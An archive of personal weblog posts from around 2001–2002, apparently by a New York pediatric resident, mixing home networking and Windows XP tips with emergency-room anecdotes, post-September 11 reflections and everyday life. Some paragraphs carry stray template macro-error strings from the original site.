All in all, setting up the access point and a single wireless node took all of about 10 minutes, and was completely painless. I got Linksys access point and router/switch, based both on reading reviews and on price; for the client side, I got an Orinoco Gold PC card, as it is the de facto gold standard, with what appears to be the best driver support and farthest range. Despite the presence of a few 2.4 GHz phones in the apartment, I get excellent throughput on the network, and no discernible interference on the phone.

Happy happy!

One of the things I absolutely can’t stand in this world is people who have some cause, and feel that I’m a lesser person if I don’t have the same passion for that cause as they do. I spent my entire afternoon with a group that deals with domestic violence in Upper Manhattan, and instead of educating us about the things that we should look for or do, they patronized us with an hour-long soap opera about a woman being abused, and then made us feel small (or tried to, at least) because we didn’t immediately adopt their cause as our own. The sad thing is that it’s my understanding that most of the residents have had the same experience, and that means that rather than helping a group of pediatricians better recognize domestic violence, they just pissed us all off.

Remember the images of the first plane hitting the World Trade Center towers? There was only one video of it, captured in the background of an instructional video that, of all people, the firefighters were making in lower Manhattan on September 11th. Well, it turns out that that’s just a small part of an entire 90-minute video, the rest of which captured the rush to the scene, the mayhem inside the buildings, and the collapse of the south tower. Dozens of people on the video died that day; the tape may never be seen by the public.

OK, now I’m on a wireless kick. I just found out about NYCwireless, which is a database and loose network of free wireless access points throughout New York City. The Bay Area has a similar free access point list, as does Boston, Seattle, and Portland. I’m sure that I’m missing many more.

As a bookmark for myself, and a reference for others, Ross Finlayson has put together a good document on using a Unix box as an wireless network base station, and Jean Tourrilhes has a great reference for using Linux and wireless networks. Or, for another approach, there’s a seemingly good Windows management app for the Apple Airport base station available, as well as a Java version. Finally, Ben Gross has a damn fine compendium of wireless links to help you set up a network. When I finally get off my ass and put together a home wireless setup, these will save me some money.

How cool is this?! Swiss researchers have released some data which suggests that anger is actually the driving force behind human cooperation. This makes me smile, since it affirms my faith that all the time I spend getting frustrated at (and then frankly angry with) customer support representatives has a greater beneficial purpose.

More personal video recorder-related good news/bad news:

Why anyone would want to hitch their wagon to that star is completely beyond me.

Salon has a damn fine article about how Google Groups — the as-definitive-as-possible archive of Usenet — is the awesome thing that it is mostly because of a trove of magnetic tapes and the foresight of a Canadian department of zoology.

I cannot, for the life of me, understand how one man, his wife, and their three children can live in a house like this. Or, while we’re talking about it, how another man, his wife, and their two children can live in this house. It all seems a bit… overindulgent.

I can’t say I’ve salivated about anything over the past few years as much as I’m now salivating over the Moxi. Combining a digital cable receiver, a music jukebox, a digital personal video recorder, a DVD player, and a cable modem into one, the Moxi looks to be the next five generations of TiVo combined. Of course, there’s a catch, though; it looks like it also plays right into the digital rights management game, and thus, could turn into just another way for your cable company to rack up incidental charges on its customers. We’ll see.

File under User Interfaces that Piss Me Off: the Sears.com website, which forces you to opt out of their promotional and event mailings nearly every time that you have to type in your email address.

Why would they want to risk pissing off their customers like this? It’s not like there’s a dearth of online places to shop; I’d figure you’d want to make your customers happy.

I now have to go on record as saying that the Tiny Personal Firewall rules. In setting up one of Shannon’s parent’s computers, it installed easily, and works perfectly. I don’t know why anyone would buy anything else, at least for personal use.

I dunno why, but I feel pretty confident predicting that the newest Apple whizbang announcement — flatscreen-on-a-stick — will be a pretty grand failure. Wait… thinking about it, I do know why I feel that way, at least partly. The Apple Cube was a miserable failure, and that was during times when geek money flowed in the streets. This new computer doesn’t seem to add anything by itself, but rather, does so with software that’ll run on any other Mac, and doesn’t appear to be much different than the new imaging software that’s built into Windows XP. Realistically, this isn’t a recipe for raging success. (The Time Canada link above probably won’t work next week; I’ll try to update it with a more permanent link once Apple announces the machine.)

Ummm, Jill? What the hell do you expect? You live in freakin’ Delaware. Move to a place with more than three dozen men, and your chances are bound to be a little better. smiley:

I took the weekend off and fled to Pitman, NJ (“Everyone likes Pitman!”) for a bit of R&R… which, in Jason-speak, means setting up computers and networks. Shannon’s parents needed a bit of persuading to graduate to the wonderful world of cable modems, so we came down here to set them up.

What we learned, though, is that the collapse of @Home is as bad for the cable modem industry as everyone is saying. The provider down here, Comcast, relied on @Home for its tier 2 service, and now is scrambling to move people over to its own backbone. While doing it, they are promising things that they cannot deliver to prospective customers, and even yanking things away from old customers, generally screwing everything up royally.

Examples? Well, despite being part of the advertised service, new subscribers won’t get any email addresses until February 28th; this was a service previously handled by @Home, and Comcast won’t be able to take it over until then. Another big thing lacking (which bit us on the ass bigtime) is multiple IP addresses — not only will they currently not give new subscribers more than one IP address, but the supervisor to whom I spoke said that they have to yank any multiple IP addresses from old customers once they migrate them onto the new backbone, at least until they “get the capacity in place.”

I guess my warning to everyone is this: if you’re signing up for any cable modem service right now, be sure to ask about everything up front, and get their promises in writing from someone at a supervisor level. You’ll be glad you did.

I couldn’t be happier to note that Greg Knauss is back online. (I’m assuming that this first chapter is written from the perspective of Greg’s father-in-law, and that Greg himself hasn’t suffered a similar terrible misfortune; of course, I could be wrong.)

While I never motivated to get the pictures up from my first visit down to Ground Zero, I did put up images from my trip yesterday. It’s amazing how much work they’ve done in the past three and a half months; it’s also still sobering to see what these men were able to do to New York City.

I, too, am surprised that this first-hand account of the attempted detonation of a shoe bomb by “Richard Reid” didn’t get any real play in the major news outlets. Also, I, too, love the fact that the Web is what makes reading accounts like this possible, and makes reliance on the major news outlets less and less important.

If anyone knows the show Trading Spaces, then they’ll know sort of what things were like here over this past weekend. As a combined Christmas present and thanks-for-helping-Shannon-move-to-New-York present, Shannon and her parents took over my bedroom, morphing it from the [Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] off-[Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] pink [Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] proto-[Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] dorm [Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] room to an off-white adult’s bedroom. My formerly bare walls now are the home to [Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] framed pictures and [Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] shelves with all my smaller photos; all my toys now have homes on special [Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] toy shelves, right within arm’s reach of my desk. It’s all [Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] wood and chrome and [Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] neat and organized, and I love it.

I hope that everyone had a happy New Year! Mine was spent taking over my parents’ apartment in Manhattan (they went to a friend’s home in Dutchess County) with Shannon, Anil, Karen, Jake, Jill, and two other friends of Shannon’s; we cooked a big meal (salad, vodka pasta, chicken in a white wine, tomato, and lemon sauce (essentially this, with the flour replaced by garlic salt), and italian ricotta cheesecake), sat by the fire, and passed out at 1 AM. It was the first awesome New Year’s Eve that I’ve spent in New York, and I’m glad to now know that such a thing is possible.

In my hunt for spam filters over this past weekend, I stumbled across a great reconstruction of the history of the word “spam” as a reference to unsolicied email and news postings. It was written by Brad Templeton, whose name you might recognize; he has a very long history on the web, and is currently the Chairman of the Electronic Frontier Foundation. He also wrote 10 Big Myths on Copyright Explained, which I’ve pointed to from here before.

I was very glad to learn this week that American Express plans to return to Lower Manhattan early in 2002. Their [Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] world headquarters building is Three World Financial Center, located immediately next door to the north tower of the former World Trade Center, and was [Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] damaged extensively in the collapse; estimates are that the building will be ready for occupation beginning in March or April.

(In looking for information about the building, I was also surprised to note two things — that the World Financial Center’s home page has a post-attack image, and that MapQuest has updated their aerial photo of the World Trade Center site, which now also is a post-attack image.)

I’m happy to read that Meg is now the proud owner of a Coolpix 995. Of course, having had my 995 for half a year, I’m already lusting for the newer, cooler toy in Nikon’s arsenal; if anyone wants to buy me one as a last-minute Christmas present, you won’t get any argument from me!

Has anyone else noticed the immense upsurge in the amount of spam (unsolicited email) flying around the net these days? It started to get to me last week, when I noticed that around 85-90% of my inbox was comprised of offers to make millions while working from home and ads for Cipro or Viagra without a doctor’s visit or prescription. Since I control my own mail server, I went searching around the net to find a good way to filter all my incoming email, and ended up discovering SpamBlocker. I spent a good deal of time last night and this morning getting all the pieces in place (and correcting a major set of typos in the example config file), but now I have what seems to be a damn fine set of filters determining what should go into my general inbox, and what should be filed away in folders that I can check once or twice daily to see what fell through the cracks. I’ll keep you all posted as to my experiences from here on out.

Given this news about caffeine (also archived here), I’d say that my favorite Christmas present so far has just become even more cherished!

Shannon, Anil, and I went to see Lord of the Rings last night, and I have to say that there’s a lot more hype than there is movie. The whole thing felt rushed (which is a feat for a three-hour movie), with little to no exposition for any of the characters. Before seeing it, I understood the movie to have garnered quite a few accolades of the “best film of 2001” type from reviewers; afterwards, I can’t understand how that possibly could be the case.

It just seems typical that we’re all hearing a ton and a half about this security problem, yet hearing next to nothing about this one. Sorta highlights my point on matters like this, actually — Microsoft is known for its security problems not because they exist, but rather, because they affect more people and because the popular press publicizes them more.

There’s a ton of sadness eminating from the Upper West Side of New York City today, courtesy of a five-alarm fire that destroyed part of St. John the Divine. Originally funded by J.P. Morgan, it’s the largest Gothic cathedral in the world (or will be when it’s finished, if that ever happens); it’s also the host to the annual Blessing of the Animals, when people bring animals of all sizes to be blessed by the Bishop of New York. The biggest fear today is that the organ sustained major damage in the fire, which would be a tremendous shame indeed.

Do all the moron Congresspeople who constantly want to pass a Constitutional amendment banning flag desecration realize that stuff like this would fit under most definitions of flag desecration?

Since when did CNN go to referring to metal detectors by their more scientific name (magnetometers) in news articles? It smells like a weak attempt to avoid striking fear into the hearts of every American traveler, a dreadful realization that undertrained and unaware security screeners could have forgotten to plug in the metal detector, thereby letting everyone and their dog waltz through with their metal weapon of choice.

For those of you who use Outlook XP (aka Outlook 2002) and are considering using Russ Cooper’s NoHTML add-in, did you know that your version of Outlook will convert HTML messages to plain text natively? You can only turn on the option via the Registry (which is a decision I can’t understand), but it’s there for you. (Note: apparently, that MS Knowledge Base article contains a typo that you should know about.)

Frighteningly, researchers have recently found that white coat hypertension — high blood pressure only when faced with having it measured at a doctor’s office visit — can actually be a sign of future heart disease. For doctors, this should mean that any hypertension should be followed closely; for me, this should serve as a warning (since I have had white coat hypertension at my last two physicals, despite having a normal-to-low blood pressure at other times).

Let there be a day of mourning on the web, for AdCritic has gone offline. Anything that brought me this much joy for so long shouldn’t be allowed to go offline.

As is generally true, the MetaFilter community has provided a pretty interesting perspective on this. (And as I was posting this here, a few nice comments were added onto the MetaTalk thread involving this very site; thank you to both of you, and I’m glad that someone found my Manila additions worthwhile!)

Thanks go out to Rogers for thinking to use the Wayback Machine to find Sunil Doshi’s original post that led Shannon to my doorstep. I use those archives all the time for other things, but didn’t once think to use it to find the post last night; I’m a dumbass sometimes.

Alas, the popularity of what may have been my favorite online puzzle, Reflections, has led to its demise. Isn’t there a good advertiser-supported gaming site that could have picked up the slack here and hosted it?

The folks at Google continue to crank out amazing products, and assure that I visit their domain about a million times a week. In addition to the best general-breadth search engine, they now have a 20-year archive of Usenet, and have put together a timeline of first-mentions (e.g., first mention Microsoft, first thread about AIDS, first thread about the Challenger disaster, first mention of The Simpsons, and even the first mention of Britney Spears), a search engine that’s specific to mail-order catalogs, and a search engine that’s specific to U.S. Government sites.

Really, Google is light-years ahead of its competitors; it’s a wonder people continue to use other search engines.

Today, Shannon asked me to take a trip back through my logs to find out any information I could about how she first came across my site (and thus set the stage for our meeting and falling for each other). It was thus that I came across the original first entry from her work computer in my logs, and discovered that Sunil Doshi had sent her my way. (I wish that I could find his actual entry linking to me, but alas, he’s dumped all his archives.) So now, I feel that I owe Sunil a belated thank you — one little hyperlink led to this happy romance, and I couldn’t be more grateful.

Hmmm… can you tell, from the following graph of the bandwidth usage of servers in my apartment, when it was that Jason released the Megway 0sil8 episode?

I’m not quite sure what happened, but somehow, a few weeks ago Blogdex went to listing this very site as offline, and now refuses to crawl here for updates. I emailed the listed contact email address asking what happened (and asking if it could be switched back to online), but haven’t heard anything in days; does anyone have any ideas how I could go about fixing this problem?

I cannot say enough about the coolness of Trillian, the all-in-one client for AOL Instant Messenger, MSN Messenger, Yahoo! Messenger, ICQ, and IRC. The latest version, 0.70, adds support for file transfers and direct IM conversations, and works damn well. Give it a try… you’ll probably end up keeping it installed.

New York at Christmastime is a great place to be. All the streets are lit up and decorated, Christmas tree vendors are on every block, storefronts are all glittery and festive, and I swear that people are cheerier and more willing to forgive the occasional bump and tussle on the subways. Today, it finally got cold in the city, and Shannon and I stood and listened to the Manhattan Grace Tabernacle choir sing carols outside their church on Broadway; it was as nice as I could ever have hoped.

Of course, now I’m on a total Carol of the Bells kick, and actively searching for the definitive best version of it. (I’ve got to say that, so far, one of my favorites is the Trans-Siberian Orchestra’s Christmas Eve/Sarajevo 12/24, which is more rock-influenced than anything else.)

Today was a frustrating day at work, mainly because a mother decided to abscond from the hospital with her child. The girl was a pretty tight bronchiolitic who was still receiving oxygen, as well as nebulizer treatments every three hours; the mom had been itching to take her daughter home, and had made that fact known to everyone. Two different doctors had explained to her how important it was for her daughter to remain in the hospital, apparently to no avail. To top it off, the mother left decoy belongings in the room to make it appear that they hadn’t truly left — a purse (which was empty), a few scarves (but no jackets or blankets), and a few personal items of food.

I doubt that this mother understood exactly what she was starting when she decided to leave with her daughter, but as far as I understand, there’s now a warrant out for her arrest, and given that the child is young and requires medical attention, there are a significant number of New York City’s Finest out on the streets looking for the family. There’s also an open case with the Administration for Child Services for medical neglect, something which rarely ends well for parents who demonstrate that they aren’t concerned about the health of their babies.

Dubya appears to have been caught sneaking a peek

Fucking Frontier. At around 4:45 PM tonight, Frontier crashed on my machine. I ran it again, and did a File/Save As… on all the open databases, and then restarted the app. When Frontier started back up, though, it wouldn’t open most of the databases, and after a ton of unsuccessful debugging (and convincing myself that the problem was with corruption in the kernel verbs), I decided to reinstall. This helped (the databases all opened), but now I have to trawl through the root database and reinstall all the changes that I’ve accumulated over the past few years. Dammitall…

This weekend was my first one off in a long time, and I had a great time hanging out in New York. Alaina came to town, and she, Anil, Shannon, and I all went to see Monsters, Inc. again (with the outtakes!), eat smores for four, try out a cool Lower East Side hangout, watch Iron Chef (and the worst movie known to mankind), see [Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] The Tree, and generally [Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] be dorks together. Christmastime in New York is so much fun, and it’s even more fun when you have [Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] cool people to share it with.

Yay! I could not be happier for Karen and Jake; it seems like just a short seven years ago that they started dating. smiley: From Shannon and I, all the best; may you remember this year for the good things that have come, rather than the bad ones.

I may only be a pediatrician, but I’m reasonably certain that there’s something wrong with this x-ray.

The old gray lady is getting in on the interface design action. I’ve never understood why people think that interface design is so trivial; likewise, I’ve never understood people who relegate it to an almost afterthought, and how they can be happy with the end product — the one with the stupid widgets, nonsensical dialog boxes, and convoluted workflow — that comes out of their subpar efforts.

It seems that, this month, it’s hard to get the Supreme Court to get off the subject of porn. (And yeah, I did say “get off” and “porn” in the same sentence. Get over yourselves.)

Best wishes to Matt and his family; here’s hoping for a quick and complete recovery.

After my experience on the pediatric oncology ward over the past three years and dating someone for a while who had Hodgkin’s Disease, I can agree wholeheartedly that it generally feels like the healthcare system has no interest in making the lives of those who suffer from cancer any easier. Patients and their families have to fight, day in and day out, with hospitals and insurance companies over the most trivial things; at a time when positive thinking and stamina are an absolute premium, they’re both sapped by bureaucracy and lifeless functionaries trying to save a buck at the expense of the last link in the chain.

I am going to have to spend some quality time poring through Marie’s World Tour. It’s an ongoing chronicle of Marie Javins and her trip around the world via land and sea; she’s spending the entirety of 2001 hopping from continent to continent, and logging it all. (via MetaFilter)

All’s I got to say is — IMAP is the way to go. (This is to say that I successfully converted all my various mail archives over to proper IMAP mailboxes this weekend, and now, my web-based mail client feels a lot zippier, I can actually search my mail without having to block off an hour or two of time, and all my mail-reading clients are sharing the same archives of filed mail. This all makes me happy.)

Dahlia Lithwick weighed in last week on the arguments before the
Supreme Court in Ashcroft v. ACLU (the government’s attempt to defend the second generation of protection of children from online smut). I wonder how much time the Justices spent poring over the exhibits in the case…

I don’t know what it is about this year, but first, Thanksgiving snuck up on me, and now, I was shocked to read today that the Olympics are a lot closer than I would have guessed. (Of course, this article also made me wonder how the Olympic torch is going to travel across the Atlantic in a plane, with the security restrictions that are currently in place. Given what happened three weeks ago, will the Atlanta Hartsfield Airport staff allow a burning flame to arrive at their facility? smiley: )

Because KPMG apparently hasn’t a single clue how the web works, I feel that it’s important to link to them as much as possible. (Interestingly, searching the KPMG website for the term “Web Link Policy” comes up with nary a single page.) Join in the fun!

I know that this will shock you all, but smoking cigarettes with less nicotine still causes cancer!

Does anyone have any good suggestions for applications or utilities that’ll convert a folder of mail messages (all in RFC 822 format) into a single IMAP UNIX-style mailbox file? I found UniAccess today, which may do the trick; I was hoping for something that wouldn’t cost me $300 for a single-time run, though. Ideas?

How did I not know that all six “New York Miracle” ads were online? My favorites are the Woody Allen and Yogi Berra ones.

I’ve started as the senior resident on the general peds inpatient wards, and wow, is it more tiring than I’d ever thought it could be. It’s a blast, though — I have three interns and three third-year med students on my team, and managing a team (rather than a few patients) is a lot of fun.

Of course, it’s also a lot of work, and part of the work that I didn’t anticipate involves dealing with other services that — how can I put this — don’t put the wellness of the patient as their primary priority. One of the surgical subspecialty services had a kid on the floor Wednesday night that spiked a fever to 107.2, and the covering fourth-year resident took over two hours to come to the floor to evaluate the child. (I ended up contacting his departmental chairman the next day and transferring the patient onto my service.) Likewise, the emergency room sent an asthmatic up to the floor last week that had no business being on a semiacute floor — he was as tight as they come, moving little to no air, and it seemed that he was sent up more because it was busy in the ER and less because he was ready for less acute management.

All in all, though, it’s a great experience; I get to teach the interns about day-to-day management, but also spend time working on the bigger picture (long-term management and diagnostic dilemmas).

I could not disagree with Alan Cooper any more on his advice to Microsoft to dump the browser. His reasoning is that browsers are like remote interfaces to distant server-based applications… and that this is somehow a bad thing. As an applications designer (one of the few hats I wear, for those who don’t know), that’s precisely the thing I love most about the web. If I program my app correctly, I don’t have to worry about different platforms or different versions of an operating system. Granted, web-based apps aren’t right for everything, but they’re perfect for a huge chunk of the things that people need to do on computers these days. Could you imagine if Travelocity wanted you to use some custom application to interface with their sales engine? Or if you had to have eBay’s client on your computer in order to participate in an auction? Hell, web-based email alone is a great example of the goodness of the browser.

Oh, this could be good — it very well may be that the Al Qaeda nuclear plans that everyone’s so worried about are actually copies of the scientific parody “How to Build an Atomic Bomb.” (The Daily Rotten also has a little bit on this.)

I knew that my decision to hold out on actual, physical exercise would seem less moronic in the 21st century! Now, you’ll have to excuse me while I get back to my imaginary chin-ups and squats…

A few days ago, I mentioned a way to have Windows XP automatically log you onto an account. It turns out that the older way of doing it still applies, though, and allows you to not delete all the other accounts on your machine.

To me, there’s something so fitting about people who have no problem stealing music also bitching and moaning about their favorite music-stealing client moving to an advertising-based model. Don’t want their music artists to get paid, don’t want their programmers to get paid… they’re all probably tapping off of their neighbor’s power lines, too.

It always has to get worse before it can get better. Now, it has come out that the mother that I mentioned yesterday did not have legal custody of any of her children, due to prior incidents of abuse and neglect. The twins were supposed to be living with an aunt in Virginia, and authorities here don’t know how they came to be back with their mother; in fact, social services stopped tracking them in December of 1999, satisfied that their placement down south had gone successfully. Now, one is dead, and I’m sure that there are a few city agencies that wish that they could turn back the clock a little bit.

Last night was one of the slowest I can remember in the ER, but the last case I got this morning was one that there’s no way I could ever have anticipated, and one that’ll stick with me for a long time.

A small girl was brought into the emergency room strapped to a NY fire department stretcher, but she was talking up a storm, seemingly as happy as can be. The paramedics dropped her off with the triage nurse and then motioned me over to one of the empty bays to tell me the story. It turns out that they (along with the police) responded to calls for help from an apartment in the neighborhood, and when they got there, they found the four year-old little girl, soaking wet from head to toe. Then, in one of the beds in the apartment, they found her twin sister, dead from an apparent drowning, the water still overflowing from the tub in the adjacent bathroom. Their mother was delusionally ranting over her body, saying that the deceased twin had had evil spirits in her that she had to purge, and spraying some kind of aerosol bottle in her mouth in order “to give her air.” At that point, the police took the mother to the adult psychiatric ER, and the paramedics brought the surviving twin into me.

My job was to check out the girl for signs that she had been harmed in any way; she had not, but we still had to hold onto her until the various agencies could sort out where to place her. The paramedics never left her side for the time that I was there, even going so far as to have one of the police officers find the exact lollipop that she was asking for. When my shift was over, I went over to tell her that I was leaving and she gave me a huge hug and a kiss on the neck, and raging through my mind were thoughts about how hard her life will be from today onward.

Shannon has made my weekend — she and her friend schemed our way into tickets to Harry Potter this Friday night! God, I hope I’m feeling better (although honestly, who am I kidding… I’d need to be sedated and paralyzed to miss this opening night).

I’m feeling all crappy — congested, cough that can wake the dead, just plain icky — and all that I wanted tonight was to get out of the apartment and find a place that was serving tomato soup. Turns out that that’s not too easy… tomato soup isn’t a staple on any menus in my neighborhood. What’s so hard about keeping tomato soup on the menu? Am I the only person in New York for whom tomato soup is the ultimate comfort food?

I worked the overnight shift (8 PM to 8 AM) in the emergency room last night, came home, and then was just about to dive under the covers when I decided to turn on the TV quickly to see what TiVo had recorded overnight. That’s when I noticed that every single station had pictures of a huge plume of smoke rising from Far Rockaway, and I learned that there had been another airplane tragedy in New York. So far, this one doesn’t seem to have been a result of terrorism (notwithstanding the incredible speculation in the weblog world), but it did paralyze New York City for a little while. And it’s sure to paralyze my hospital’s community even more; we’re situated smack in the middle of the largest Dominican population outside of the Dominican Republic, and it’s hard for me to imagine that there weren’t people on that plane near and dear to my patient’s lives, or that at least one of my actual patients didn’t perish today. (NY1 has more from-the-scene images.)

First, women get the Wonderbra; now, men get Packit jeans, complete with “bulge enhancement.” (I’d link to the jeans on the Lee Cooper website, except the website is a godawful mess, and on top of that, I can’t seem to find them anywhere on it.)

Finally, an online image gallery that has a good reproduction of Milton Glaser’s redone “I Heart NY” graphic (with the smudged heart and “MORE THAN EVER” underneath). Now, if I could only get over the wracking guilt that I’d have submitting the image to CafePress and having them make me a shirt with it on the front. Does anyone know if Glaser has licensed the image to anyone who’s legitimately printing shirts?

There’s a group of telephone booth ads that I’m seeing all over the NYC right now that I love — they’ve been taken out by the CJ Foundation for SIDS, an organization set up to fund research and educate people about sudden infant death syndrome, and they all use funny stuffed animal poses to show parents the right way to help lower the risk of SIDS in their infants.

I so loved Monsters, Inc. — but I also so loved the animated short feature before the movie, For the Birds. (Incidentally, I’m trying to get all the Monsters, Inc. McDonalds Happy Meal toys — I have Boo (and her door), and I have Celia Mae (and her desk). I still need Sully, Mike, Randall, the Yeti, Waternoose, Roz, George, and the CDA agent. Anyone?)

Like I always tend to do when there’s a new operating system in my life, here are a few Windows XP tips ‘n stuff that I’ve accumulated over the past week or two.

  • Do you hate how Windows Messenger wants to be running at all times? Here’s the best thread I’ve found about how to stop that boorish behavior.
  • Windows XP finally has the ability to easily set the system time from Internet time servers, but by default, it only does so every seven days. If this doesn’t suit your fancy, though, you can change it.
  • Do you need your machine to automatically log into an account on startup? It seems that there’s a new way to do it with the Home and Professional editions; it’s not as convenient as in past versions (e.g., it won’t log onto a domain account), but it may be the only way.
  • Want to download the entire Internet Explorer setup package, but can’t figure out how to do it under Windows XP (or Win2K)? Here you go.
  • If you have a stubborn system service that won’t quit, you can use the Kill command-line utility to make it go away. (This one also works with win2K and WinNT.)
  • There are a slew of new command-line tools that come with Windows XP; learn them and love them.

Remember back on September 11th, when I asked everyone to go and give blood? Well, there’s always a need for blood in the U.S., and there’s always a shortage, and that’s why it’s just as important today to go give blood as it was nearly two months ago.

If you have a spare half-hour, go by your local blood donation center, or keep your eyes open for blood drives in your area. Give the gift of life.

I wasn’t the only one interested in the World Series this year — it turns out that game seven garnered the highest TV ratings for the event in the last 10 years. That’s just awesome. (And for those who aren’t sick to death of the Yankees, ESPN’s Jayson Stark has a great column from yesterday about just how amazing the Yanks have been over the past decade or so.)

I know it’s probably considered cliche to rag on Calista Flockhart’s rapidly-disappearing body fat content these days, but I’m actually hard-pressed to believe that she could possibly get any skinnier. She used to be cute; now, she’s just gross.

I’ve spent the last two weeks in the crankiest of cranky moods, and I’m just now starting to surface.

For me, this week is the second of two weeks of evening float weeks in the pediatric emergency room; that means that I’m there from 5 PM to 2 AM every day. And that’s a pretty popular shift for the kiddos — they’ve been horsing around on the streets after school for a few hours and injure themselves, or their parents are just getting home from work to discover that they picked something up at school. It’s busy, it’s hard to even get a chance to breathe for those nine hours, and I generally get home all worked up about something or another.

In addition, I got roped into doing an hour-long journal club presentation yesterday, after the people who manage the club realized that they had screwed up by scheduling someone to give the presentation who would be on vacation. I had a little over a week’s notice about it, and it meant that I spent my weekend in Washington D.C. with my need to prepare for the talk looming over me.

Lastly, I found out last week that I was not chosen to be one of the two residents (out of 21) that will stay on an extra year to be chief resident of the program, and it’s been hard to hide my bitterness about it. It was something that I had convinced myself I really wanted to do — a year of teaching, managing the residents, and helping improve the program — and I can’t deny that I still think that I would have been a better choice than at least one of the two that are going to get that opportunity.

Happily, though, the weekend in D.C. actually did a lot of good for me, getting away for a bit and spending some very nice time with Shannon and her friends. And then last night, I got home from the ER to find that Shannon had bought me a few awesome presents yesterday; that went a good long way towards pulling me back from my funk, and today, I’m feeling a lot better.

I ran away from NYC for the weekend, getting down to Washington D.C. with Shannon to visit some friends. It was nice getting out of town, but as always, it’s also nice to come back. It wasn’t nice to see the Yanks lose that nailbiter last night, though, but life does go on.

Over the past few weeks, I’ve stumbled across a few great archives of material related to the September 11th terrorist attacks.

First, the people behind the Internet Archive have put together september11.archive.org, which is a fully-searchable and -surfable archive of sites that reported on or relate to the attacks.

Next, there’s the Television Archive, which has archived video from dozens, if not hundreds, of television networks from September 11th, all of which is available for viewing.

Last, Columbia University has The World Trade Center Attack: The Official Documents, where official communications from the United States government are being archived for posterity.

I’m giving AntiPopup a try-out, and I have to say that I like it so far. It’s a little system tray applet that monitors your web browsing, and automatically closes the annoying pop-up (and pop-under) ad windows that have become the bane of any websurfer’s existence. The program’s caught the three that have attempted to launch in the last 15 minutes of my surfing; it it keeps working this well, it’ll earn a spot in my Startup folder.

This could be the funniest MetaFilter (or, to be technically correct, MetaTalk) thread ever. Talk about a thread hijack…

As expected, searchers have found and recovered most, if not all, of the $200 million in gold and silver which was secured in vaults in the World Trade Center.

Does anyone remember the five BMW films that were released over the course of the past year? I had never seen the last one, so I watched it today, and while the main feature part of it isn’t all that special, the little sub-story tied to it — “The Motel Maid and the Package” — is eerie given what’s going on in the U.S. right now. In it, a woman uses a stungun to down a mailman, steals his keys, and breaks into a corner mailbox; she then rifles through the mail and uses a boxcutter to open up a big envelope and replace its contents. Later, you see a young thug receive the envelope and open it to discover a little box, and when he opens the box, a mysterious powdery smoke comes out and kills him.

Spoooooooky.

If you don’t like the Windows XP feature that I talked about a few days ago, wherein multiple windows from the same application are grouped together in the Taskbar, then you may want to read the discussion on that item — there’s an explanation of how you can turn it off.

Let’s go, Yankees!

A Connecticut Superior Court ruled this week that a hospital’s responsibility to its patients is important enough to outweigh any responsibility to nonpatient visitors. While this may seem logical to you and me, it wasn’t that clear to Anne Marie Murillo; she was watching a nurse put an IV into her sister, passed out, and sued the hospital for neglecting some “duty to prevent her from fainting, or at least falling.” When will people become responsible for their own damn selves in this country again?

I’m not too sure that this could be any grosser.

The first Harry Potter movie clocks in at over 2 1/2 hours long — and as far as I’m concerned, the longer it is, the more I get to watch. I am soooo excited for this release…

Brian Robinson hiked the Triple Crown. Since January 1st, Brian hiked the entire lengths of the Appalachian Trail, the Pacific Crest Trail, and the Continental Divide Trail — 7,371 miles in all. The New York Times had a story about the feat yesterday (but of course, it’s only available for a week before going into the penny archive). It’s an amazing accomplishment — I particularly like the fact that he would eat entire cheesecakes at night to keep his energy up.

The Supreme Court is hearing testimony today on an interesting case, Ashcroft v. Free Speech Coalition. At issue is whether the government can ban pornography that involves consenting adults who appear to be under the age of consent (either naturally or by being digitally modified). One of the main arguments of the government is that such porn entices actual children into sexual exploitation. The centerpiece of the free speech advocate’s argument: who gets to decide whether a model appears to be a minor? Fascinating.

Windows XP keeps making me smile. This afternoon, I noticed that one of the items in my Taskbar looked different… and then I noticed the subtle little numeral 3 next to the icon. It turns out that when the taskbar starts to get cluttered, WinXP groups multiple windows from a single application together; the little numeral indicated that there were three Internet Explorer windows grouped under one entry. I like that. (There’s a picture of what this looks like in the Discussion, if you’re interested.)

Ummm… 128 Mb of RAM for ten bucks? There really is no excuse to not soup up your machine now… and, as everybody should know, too little memory is way more of a handicap with modern operating systems than too slow of a processor or too small of a disk drive.

Thanks go out to Rogers for pointing me to this great story about how scientists have, for the first time ever, captured simultaneous images of the aurora borealis and aurora australis, and in so doing, have proven that they are mirror images of each other. (This has long been a suspicion, given that the auroras are thought to be magnetic phenomena, and that they occur around the magnetic poles of Earth.) For the brave-of-bandwidth, NASA has a 2.4 Mb QuickTime movie showing the auroras.

Last week, Thomas Friedman had a phenomenal column in the New York Times about the reluctance the U.S. is finding in its allies when it comes to helping us fight overseas — and how part of the reluctance has roots in the behavior of our own White House. Makes you think…

So, despite the FUD from the past few months, there’s no inherent limitation built into Windows XP that prohibits creation of MP3 files. You can still install whatever app you used before to make your MP3 files, and in addition, you can buy any of a few $10 add-ons to Windows Media Player that’ll build the capability right into Windows. (Right now, add-ons are available from Cyberlink and InterVideo, and further add-ons are available that allow WMP to handle DVDs. More companies promise MP3 and DVD releases in the near future, as well.)

So, I’ve spent my afternoon upgrading my desktop machine to Windows XP, and so far, I love it. The things that I love most about it? (Note: this list will most likely change as I find new things throughout the evening…)

  • ClearType
  • finally, built-in ZIP file handling
  • the incredibly fast start-up time
  • less crap on the Desktop!
  • a System Tray that collapses to hide seldom-used stuff
  • a Taskbar that groups similar apps together
  • a fast, fast UI
  • built-in CD writing, including automatic creation of multisession discs and use of CD-RW discs (finally, both are useful!)
  • Terminal Services, even on the Professional level installation

Things I wish I could love about it:

